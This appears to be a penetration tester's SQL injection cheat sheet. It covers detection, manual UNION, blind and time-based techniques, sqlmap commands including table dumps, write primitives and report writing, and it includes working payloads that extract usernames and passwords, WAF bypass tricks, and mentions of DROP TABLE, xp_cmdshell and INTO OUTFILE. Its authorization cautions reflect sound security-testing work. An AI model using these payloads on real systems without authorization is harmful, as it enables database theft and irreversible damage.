SQLi Cheat Sheet
1. Finding the Injection Point
- Test every input — URL params, form fields, cookies, HTTP headers (
User-Agent,X-Forwarded-For,Referer), JSON/XML API bodies, even filenames. - Canary characters to try first:
',",),;, backslash — then watch for:- A SQL error message (easiest confirmation)
- A blank/different response vs. baseline
- A changed HTTP status code
- A timing difference (if nothing else changes — points to blind/time-based)
- Confirm with a boolean pair: something true (
' OR '1'='1) vs. something false (' OR '1'='2) and compare responses — if they differ, you likely have an injectable boolean condition.
2. Types of SQLi (and how you notice each)
| Type | Signal | Notes |
|---|---|---|
| In-band / Error-based | DB error message reflected in response | Fastest to exploit — error text can leak schema/data directly |
| In-band / UNION-based | Query result set visible in response | Requires matching column count and compatible data types |
| Blind / Boolean-based | No error, no data shown, but true/false conditions change the response (content, length, status) | Slower — extract data one bit/char at a time |
| Blind / Time-based | No visible difference at all; response is delayed only when condition is true (SLEEP(), WAITFOR DELAY) | Use when boolean differences aren’t observable; confirm with a clear baseline-vs-delayed timing comparison, repeated to rule out network jitter |
| Out-of-band (OOB) | Response triggers a DNS/HTTP callback to an external listener | Rare — depends on DB functions that can initiate network requests (e.g., MSSQL xp_dirtree, Oracle UTL_HTTP) |
| Second-order | Payload stored in one request, triggers when a different feature later processes that stored value | Easy to miss — requires tracking where stored data gets reused in another query |
3. Manual Testing Workflow
- Confirm injectability (Section 1) and identify the DB engine:
- Error messages often name it directly.
- Engine-specific syntax probes:
' AND 1=CONVERT(int,@@version)--(MSSQL),' AND extractvalue(1,concat(0x7e,version()))--(MySQL),' AND 1=1::int--type probes vary — compare behavior of engine-specific functions (SLEEP()= MySQL,pg_sleep()= PostgreSQL,WAITFOR DELAY= MSSQL).
- Determine the injection context: numeric vs. string, how many columns the surrounding query has (needed for UNION), whether it’s inside a
WHERE,ORDER BY, or elsewhere. - For UNION-based:
Find column count:
ORDER BY N--incrementing N until it errors, orUNION SELECT NULL,NULL,...--incrementing NULLs until it works.Find which columns reflect in the output (replace NULLs one at a time with a marker string).
Enumerate schema (MySQL example):
' UNION SELECT table_name,NULL FROM information_schema.tables--' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--' UNION SELECT username,password FROM users--Use
group_concat()(MySQL) /string_agg()(PostgreSQL) /STUFF(...FOR XML PATH(''))(MSSQL) to pull multiple rows through a single reflected column.
- For blind boolean: automate manually with a binary search against
ASCII(SUBSTRING(...))comparisons if not using sqlmap — slow but useful to understand mechanically before leaning on tooling. - For blind time-based: confirm a clean baseline response time first, then compare against the delayed condition multiple times to rule out noise before concluding.
- Check for filters/WAF blocking specific syntax (comment style, keywords, spacing) — common bypasses: alternate comment style (
#vs--), inline comments to break up keywords (UN/**/ION), case variation, whitespace alternatives (/**/, tabs, newlines), encoding. - Check for stacked query support (
; DROP TABLE ...style) separately — many drivers/frameworks don’t allow multiple statements per query even when the first statement is injectable; aSLEEP()after a;is a safe way to test this without writing.
4. sqlmap
4.1 Detection
sqlmap -u "https://target/page?id=1" --batch
--batch: accept default answers non-interactively (good for scripted/exam use).-p id: restrict testing to a specific parameter (faster, less noisy than testing every param).--level(1–5) and--risk(1–3): increase test coverage and payload aggressiveness — higher risk includes payloads that can modify data, so keep this low unless scope explicitly allows it.
4.2 POST requests / authenticated requests
Capture the raw request via ZAP/Burp and save it to a file — this preserves exact headers, cookies, and encoding, and is the most reproducible approach:
sqlmap -r request.txt --batchOr pass POST data directly:
sqlmap -u "https://target/login" --data="username=a&password=b" --batchAuthenticated session:
--cookie="PHPSESSID=...", and--csrf-token=if the app requires a fresh CSRF token per request (sqlmap can fetch and resubmit it automatically with the right flag — verify current syntax for your version).
4.3 Enumeration once injection is confirmed
sqlmap -u "..." --batch --dbs # list databases
sqlmap -u "..." --batch -D dbname --tables # list tables
sqlmap -u "..." --batch -D dbname -T users --columns
sqlmap -u "..." --batch -D dbname -T users --dump
--technique=: restrict to specific technique letters (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline) if you already know which applies — faster and less noisy.--tamper=: WAF/filter bypass scripts (e.g.,space2comment,charencode) — only needed when default payloads are being blocked.--dbms=: specify the engine if known, to skip fingerprinting and speed things up.
4.4 Caution
- sqlmap can be noisy (high request volume) and, at higher
--risklevels, can run payloads capable of modifying data — only run against explicitly authorized targets, and keep risk/level conservative unless the engagement calls for more. - Prefer manual confirmation of the injection point first (Section 1) before pointing sqlmap at a target — it’s faster to diagnose a false negative/positive when you already understand the context.
5. Altering Data (Write Access via SQLi)
UNION is read-only by construction — it combines SELECT result sets and cannot carry an UPDATE/INSERT/DELETE. Writing requires a different mechanism:
| Mechanism | How it works | Test |
|---|---|---|
| Stacked queries | Driver/API allows multiple ;-separated statements in one execution; append a second, different statement after the original | Test with a harmless side effect first: 1; SELECT SLEEP(5); -- — no delay means stacked queries aren’t executing through this point. Many common drivers (PHP mysqli_query, PDO defaults, Node mysql2, most ORMs) block this by default; some raw/legacy setups and CTF-style apps allow it |
| Injection point is already a write statement | If the vulnerable query itself is an UPDATE/INSERT/DELETE (e.g., a “change bio” or “leave a review” feature), manipulate that statement directly rather than looking for a second one | Test every feature that writes data as its own injection point, separately from read/search/filter fields |
| Subquery-based write | A SELECT subquery embedded inside an existing INSERT/UPDATE pulls data into a field you can then read, e.g. INSERT INTO logs (message) VALUES ((SELECT password FROM users LIMIT 1)) | More a read-exfiltration trick riding on an existing write statement than a general write primitive |
| Second-order injection | Payload stored unexploited by one feature, later triggers when a different query reuses that stored value unsafely | Track where stored input (usernames, profile fields) gets reused elsewhere in the app, especially in admin/report queries |
| Stored procedures / privileged functions | Engine-specific functions reachable via injection that write to the filesystem or run OS commands — MySQL INTO OUTFILE (needs FILE privilege), MSSQL xp_cmdshell (if enabled) | Next tier after confirmed read access; engine- and privilege-dependent |
Caution: stacked-query and write testing is the one category where a test can cause real, irreversible damage. Only attempt an actual write with explicit scope authorization, and prefer a scoped single-row action (on a row you created, or explicitly in scope) over anything WHERE-less or mass-impacting.
Reporting precision: “not possible” should name which mechanism(s) were ruled out and how (e.g., “not exploitable via UNION — structurally read-only; stacked queries tested via SLEEP(), no delay observed, so not supported through this injection point either”).
6. Documentation for Reporting
- Exact parameter/field, exact payload used, the engine identified, and the specific technique (error/union/boolean/time-based).
- Screenshot or raw response showing the proof (error text, extracted data, or timing comparison with actual millisecond values — not just “it was slower”).
- For “not possible” conclusions (e.g., stacked queries not supported): state why — what you tested and what result ruled it out, not just the negative conclusion.